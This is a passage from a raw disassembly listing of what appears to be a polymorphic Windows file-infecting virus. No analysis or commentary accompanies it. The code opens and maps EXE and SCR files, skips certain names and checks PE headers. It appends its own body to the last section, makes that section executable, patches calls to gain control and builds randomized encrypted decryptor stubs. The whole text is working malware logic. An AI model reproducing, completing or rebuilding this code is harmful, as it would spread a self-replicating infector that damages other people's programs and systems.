[ebp+40342Ah] stosw mov al, 1 jmp short loc_40058541 ; --------------------------------------------------------------------------- loc_40058539: ; CODE XREF: .rsrc:40058527j mov al, 48h or al, [ebp+40342Ah] loc_40058541: ; CODE XREF: .rsrc:40058537j stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_40058575 mov ax, 0F883h or ah, [ebp+40342Ah] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_40058590 mov cl, 77h jmp short loc_40058590 ; --------------------------------------------------------------------------- loc_40058575: ; CODE XREF: .rsrc:4005854Ej mov ax, 1809h or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw sub [ebp+40398Ah], edi loc_40058590: ; CODE XREF: .rsrc:4005856Fj ; .rsrc:40058573j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_4005863A mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_400585D1 mov eax, 2E876467h loc_400585D1: ; CODE XREF: .rsrc:400585CAj stosd mov eax, 0 stosw jnz short loc_400585E1 mov ax, 0E58Bh stosw loc_400585E1: ; CODE XREF: .rsrc:400585D9j mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_40058637 test dword ptr [ebp+403431h], 8000000h jz short loc_40058629 mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_40058624 mov ax, 424h stosw jmp short loc_40058637 ; --------------------------------------------------------------------------- loc_40058624: ; CODE XREF: .rsrc:4005861Aj mov al, 8 stosb jmp short loc_40058637 ; --------------------------------------------------------------------------- loc_40058629: ; CODE XREF: .rsrc:40058601j mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_4005863A ; --------------------------------------------------------------------------- loc_40058637: ; CODE XREF: .rsrc:400585F5j ; .rsrc:40058622j ... mov al, 0C9h stosb loc_4005863A: ; CODE XREF: .rsrc:400585ADj ; .rsrc:40058635j test dword ptr [ebp+403431h], 80000000h jz short loc_40058666 mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_40058666: ; CODE XREF: .rsrc:40058644j mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_400586D1 test dword ptr [ebp+403431h], 20000000h jz short loc_40058697 loc_4005868A: ; CODE XREF: .rsrc:40058695j test edi, 3 jz short loc_40058697 mov al, 90h stosb jmp short loc_4005868A ; --------------------------------------------------------------------------- loc_40058697: ; CODE XREF: .rsrc:40058688j ; .rsrc:40058690j mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_400586C5 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_400586CF ; --------------------------------------------------------------------------- loc_400586C5: ; CODE XREF: .rsrc:400586B7j mov ax, 0E0FFh or ah, [ebp+403429h] loc_400586CF: ; CODE XREF: .rsrc:400586C3j stosw loc_400586D1: ; CODE XREF: .rsrc:4005867Cj test dword ptr [ebp+403431h], 1000003h jz short loc_40058750 test dword ptr [ebp+403431h], 20000000h jz short loc_400586F6 loc_400586E9: ; CODE XREF: .rsrc:400586F4j test edi, 3 jz short loc_400586F6 mov al, 90h stosb jmp short loc_400586E9 ; --------------------------------------------------------------------------- loc_400586F6: ; CODE XREF: .rsrc:400586E7j ; .rsrc:400586EFj mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_4005871F lea eax, [ebp+403429h] loc_40058717: ; CODE XREF: .rsrc:4005871Dj mov cl, [eax] inc eax cmp cl, 3 jnb short loc_40058717 loc_4005871F: ; CODE XREF: .rsrc:4005870Fj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_40058734 mov ax, 0C031h stosw loc_40058734: ; CODE XREF: .rsrc:4005872Cj mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_4005874D mov ax, 0C031h stosw loc_4005874D: ; CODE XREF: .rsrc:40058745j mov al, 0C3h stosb loc_40058750: ; CODE XREF: .rsrc:400586DBj lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_40058768 push edi sub edi, eax pop eax jmp short loc_40058781 ; --------------------------------------------------------------------------- loc_40058768: ; CODE XREF: .rsrc:40058760j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_40058781: ; CODE XREF: .rsrc:40058766j mov [ebp+40106Dh], edi mov edi, [ebp+403986h] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_400587A1 neg eax loc_400587A1: ; CODE XREF: .rsrc:4005879Dj stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_400587A5 proc near ; CODE XREF: sub_40058BD1+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_4005898D call near ptr loc_400587C5+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_400587C5: ; CODE XREF: sub_400587A5+Fp add bh, bh sub_400587A5 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_40057EDF mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_40057EDF mov edi, [ebp+4039A6h] push esi call sub_40057EDF mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_4005898D jz loc_4005898D add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_4005895E loc_4005883F: ; CODE XREF: sub_4005895E+29j lodsb cmp al, 0E8h jnz loc_400588EA lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_40057EDF cmp dword ptr [ebp+4039A6h], 0 jnz short loc_4005886D cmp eax, [edi+0Ch] jnb loc_40058986 jmp short loc_40058879 ; --------------------------------------------------------------------------- loc_4005886D: ; CODE XREF: sub_4005895E-FEj cmp [ebp+4039A6h], edx jnz loc_40058986 loc_40058879: ; CODE XREF: sub_4005895E-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_40058986 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_40057EDF cmp [ebp+4039A6h], edi jnz loc_40058986 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_40058986 cmp eax, [edi+8] jnb loc_40058986 loc_400588C2: ; CODE XREF: sub_4005895E+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_4005899C jmp loc_40058986 ; --------------------------------------------------------------------------- loc_400588EA: ; CODE XREF: sub_4005895E-11Cj cmp al, 0FFh jnz loc_40058986 cmp byte ptr [esi], 15h jnz loc_40058986 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_40057EDF cmp [ebp+4039A6h], edi jnz short loc_40058986 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_40058933 cmp eax, [ebp+4039C6h] jb short loc_4005899C loc_40058933: ; CODE XREF: sub_4005895E-35j cmp eax, 70000000h jb short loc_40058971 call sub_4005895E lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_4005895D add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_40058978 ; --------------------------------------------------------------------------- locret_4005895D: ; CODE XREF: sub_4005895E-Fj retn ; END OF FUNCTION CHUNK FOR sub_4005895E ; =============== S U B R O U T I N E ======================================= sub_4005895E proc near ; CODE XREF: sub_4005895E-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 4005883F SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_40057FE6 popa loc_40058971: ; CODE XREF: sub_4005895E-26j test eax, 80000000h jnz short loc_40058986 loc_40058978: ; CODE XREF: sub_4005895E-3j sub eax, [edi+0Ch] jb short loc_40058986 cmp eax, [edi+8] jb loc_400588C2 loc_40058986: ; CODE XREF: sub_4005895E-F9j ; sub_4005895E-EBj ... dec ecx jnz loc_4005883F loc_4005898D: ; CODE XREF: sub_400587A5+9j ; .rsrc:40058827j ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_400589D8 ; --------------------------------------------------------------------------- loc_4005899C: ; CODE XREF: sub_4005895E-7Fj ; sub_4005895E-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_400589D8: ; CODE XREF: sub_4005895E+3Cj pop edi pop esi retn sub_4005895E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_400589DB proc near ; CODE XREF: .rsrc:40058BA9p ; sub_40058BD1+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_40058AAC mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_40058AAC sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_40058F64 mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_40058F58 push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_40058F58 mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_40058F58 xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_40058F30 mov [ebp+403972h], eax locret_40058AAC: ; CODE XREF: sub_400589DB+10j ; sub_400589DB+27j ... retn sub_400589DB endp ; =============== S U B R O U T I N E ======================================= sub_40058AAD proc near ; CODE XREF: sub_40058BD1+117p ; sub_40058BD1+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_40058AC7 add eax, [ebp+40106Dh] loc_40058AC7: ; CODE XREF: sub_40058AAD+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_40058AAD endp ; =============== S U B R O U T I N E ======================================= sub_40058AF2 proc near ; CODE XREF: sub_40058BD1:loc_40058C20p ; sub_40058BD1+13Dp movzx ecx, word ptr [ebx+6] stc loc_40058AF7: ; CODE XREF: sub_40058AF2+23j jecxz short locret_40058B2E lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_40058B2E cmp dword ptr [edx+0Ch], 1 jb short loc_40058AF7 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_40058B2E: ; CODE XREF: sub_40058AF2:loc_40058AF7j ; sub_40058AF2+1Dj ... retn sub_40058AF2 endp ; =============== S U B R O U T I N E ======================================= sub_40058B2F proc near ; CODE XREF: .rsrc:40058BBBp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_40058B2F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_40058B3C: ; CODE XREF: .rsrc:40058B5Dj mov ecx, edi jmp short loc_40058B4B ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_40058B47: ; CODE XREF: .rsrc:40058B59j mov ebx, edi xor ecx, ecx loc_40058B4B: ; CODE XREF: .rsrc:40058B3Ej ; .rsrc:40058B61j lodsb cmp al, 61h jb short loc_40058B56 cmp al, 7Ah ja short loc_40058B56 sub al, 20h loc_40058B56: ; CODE XREF: .rsrc:40058B4Ej ; .rsrc:40058B52j stosb cmp al, 5Ch jz short loc_40058B47 cmp al, 2Eh jz short loc_40058B3C cmp al, 0 jnz short loc_40058B4B jecxz short locret_40058B2E mov eax, [ecx] cmp eax, 455845h jz short loc_40058B79 cmp eax, 524353h jnz locret_40058AAC loc_40058B79: ; CODE XREF: .rsrc:40058B6Cj mov eax, [ebx] cmp eax, 434E4957h jz locret_40058AAC cmp eax, 4E554357h jz locret_40058AAC cmp eax, 32334357h jz locret_40058AAC cmp eax, 4F545350h jz locret_40058AAC xor ebx, ebx call sub_400589DB jz locret_40058AAC xor edx, edx call sub_40058BD1 call sub_40058B2F call $+5 pop ebp sub ebp, 402F8Ah jmp loc_40058F0E ; =============== S U B R O U T I N E ======================================= sub_40058BD1 proc near ; CODE XREF: .rsrc:40058BB6p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_40058F0E mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_40058F0E test dword ptr [ebx+16h], 2000h jnz loc_40058F0E test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_40058F0E jecxz short loc_40058C20 cmp ecx, 101h jbe loc_40058F0E loc_40058C20: ; CODE XREF: sub_40058BD1+41j call sub_40058AF2 jb loc_40058F0E mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_4005772A xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_40058C4A: ; CODE XREF: sub_40058BD1+92j push 20h dec cl pop eax js short loc_40058C65 call sub_4005772A test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_40058C4A ; --------------------------------------------------------------------------- loc_40058C65: ; CODE XREF: sub_40058BD1+7Ej ; sub_40058BD1+CDj ... push 6 pop ecx loc_40058C6B: ; CODE XREF: sub_40058BD1+B8j push 6 pop eax call sub_4005772A mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_40058C6B test dword ptr [ebp+403431h], 8 jnz short loc_40058CA0 cmp byte ptr [ebp+40342Bh], 1 jz short loc_40058C65 loc_40058CA0: ; CODE XREF: sub_40058BD1+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_40058CC7 cmp byte ptr [ebp+403429h], 5 jz short loc_40058C65 cmp byte ptr [ebp+40342Ah], 5 jz short loc_40058C65 cmp byte ptr [ebp+40342Bh], 5 jz short loc_40058C65 loc_40058CC7: ; CODE XREF: sub_40058BD1+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_40058CDC cmp byte ptr [ebp+403429h], 2 ja short loc_40058C65 loc_40058CDC: ; CODE XREF: sub_40058BD1+100j and dword ptr [ebp+4039AEh], 0 call loc_40058177 call sub_40058AAD call sub_40058F17 mov ebx, [ebp+403976h] call sub_400589DB jz loc_40058F0E mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_40058AF2 jb loc_40058F0E or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_40058D44 lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_40058D44: ; CODE XREF: sub_40058BD1+163j push edi mov ecx, 90Fh lea esi, [ebp+401000h] rep movsd mov cl, 0 jecxz short loc_40058D58 rep movsb loc_40058D58: ; CODE XREF: sub_40058BD1+183j test dword ptr [ebp+403431h], 10000000h jz loc_40058E10 push dword ptr [ebx+28h] call sub_40057EDF mov edx, [ebp+4039A6h] test edx, edx jz loc_40058E10 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_40058D95 xor ecx, ecx loc_40058D95: ; CODE XREF: sub_40058BD1+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_40058DFC mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+403986h] test dword ptr [ebp+403431h], 40h jz short loc_40058DD5 neg dword ptr [eax] loc_40058DD5: ; CODE XREF: sub_40058BD1+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_40058DF3 neg dword ptr [eax] loc_40058DF3: ; CODE XREF: sub_40058BD1+21Ej push ecx call sub_40058AAD pop ecx jmp short loc_40058E08 ; --------------------------------------------------------------------------- loc_40058DFC: ; CODE XREF: sub_40058BD1+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_40058E08: ; CODE XREF: sub_40058BD1+229j lea esi, [ebp+40343Ch] rep movsb loc_40058E10: ; CODE XREF: sub_40058BD1+191j ; sub_40058BD1+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_40058E29 imul edx, 12345678h loc_40058E29: ; CODE XREF: sub_40058BD1+250j mov [eax-1], dl call sub_40056DFD pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_40058E5A mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_40058E5A: ; CODE XREF: sub_40058BD1+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_40058E7F push edx call sub_400587A5 pop edx loc_40058E7F: ; CODE XREF: sub_40058BD1+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_40058E8A mov [ebx+28h], ecx loc_40058E8A: ; CODE XREF: sub_40058BD1+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_40058E9B mov [edx+8], ecx loc_40058E9B: ; CODE XREF: sub_40058BD1+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_40058ECC add ecx, [ebp+40106Dh] loc_40058ECC: ; CODE XREF: sub_40058BD1+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_40058EEE inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_40058EEE mov dh, [ebp+403430h] loc_40058EEE: ; CODE XREF: sub_40058BD1+307j ; sub_40058BD1+315j test dword ptr [ebp+403431h], 4000h jnz short loc_40058F05 loc_40058EFA: ; CODE XREF: sub_40058BD1+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_40058EFA jmp short loc_40058F0E ; --------------------------------------------------------------------------- loc_40058F05: ; CODE XREF: sub_40058BD1+327j ; sub_40058BD1+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_40058F05 loc_40058F0E: ; CODE XREF: .rsrc:40058BCCj ; sub_40058BD1+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_40058BD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40058F17 proc near ; CODE XREF: sub_40058BD1+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_40058AAC push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_40058F30: ; CODE XREF: sub_400589DB+C5j push dword ptr [ebp+40396Eh] call dword ptr [ebp+40353Ch] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_40058F58: ; CODE XREF: sub_400589DB+6Bj ; sub_400589DB+82j ... push dword ptr [ebp+403956h] call dword ptr [ebp+40353Ch] loc_40058F64: ; CODE XREF: sub_400589DB+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_40058F17 endp ; --------------------------------------------------------------------------- db 0E8h dd 0 dd 81016A5Dh, 403349EDh, 0FF05800h, 158085C1h, 0C0850040h dd 0FFC883C3h, 85C10FF0h, 401580h, 103DC3h, 1C75002Ah dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FB7EE805h dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h dd 3975FFFFh, 3024448Bh, 384EB58Dh, 508B0040h, 3A816608h dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 35F895FFh dd 0C4830040h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFB2BE8h dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 10E8h dd 20C200h, 30B8h, 3E800h, 24C20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 13ED811Ah dd 0E8004034h, 0FFFFE539h, 4C261h, 2030705h, 71CF0601h dd 203B882Ch, 119415FFh, 900100h, 3Fh dup(0) dd 47000000h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh dd 2 dup(0) dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h, 2C7C8023h dd 377C8104h, 0F7C8106h, 587C864Bh, 0EC7C80C0h, 3C7C80E7h dd 777C8115h, 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h dd 0DA7C835Dh, 0DE7C8111h, 777C812Ah, 57C801Dh, 767C80B9h dd 0E17C80BBh, 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h dd 427C831Ch, 1C7C8024h, 747C810Bh, 517C80B9h, 877C809Ah dd 607C810Dh, 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h dd 557C90D7h, 0FD7C90DCh, 907C90DCh, 0B67C90DDh, 327C90DEh dd 0C67C90EAh, 7C9130h, 15h dup(0) dd 380036h, 40059294h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0) dd 5900h, 0Ch dup(0) dd 0CF00h, 1184h dup(0) _rsrc ends ; Section 10. (virtual address 0005E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0005DC00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4005E000h dd 80h dup(0) align 1000h _idata2 ends end start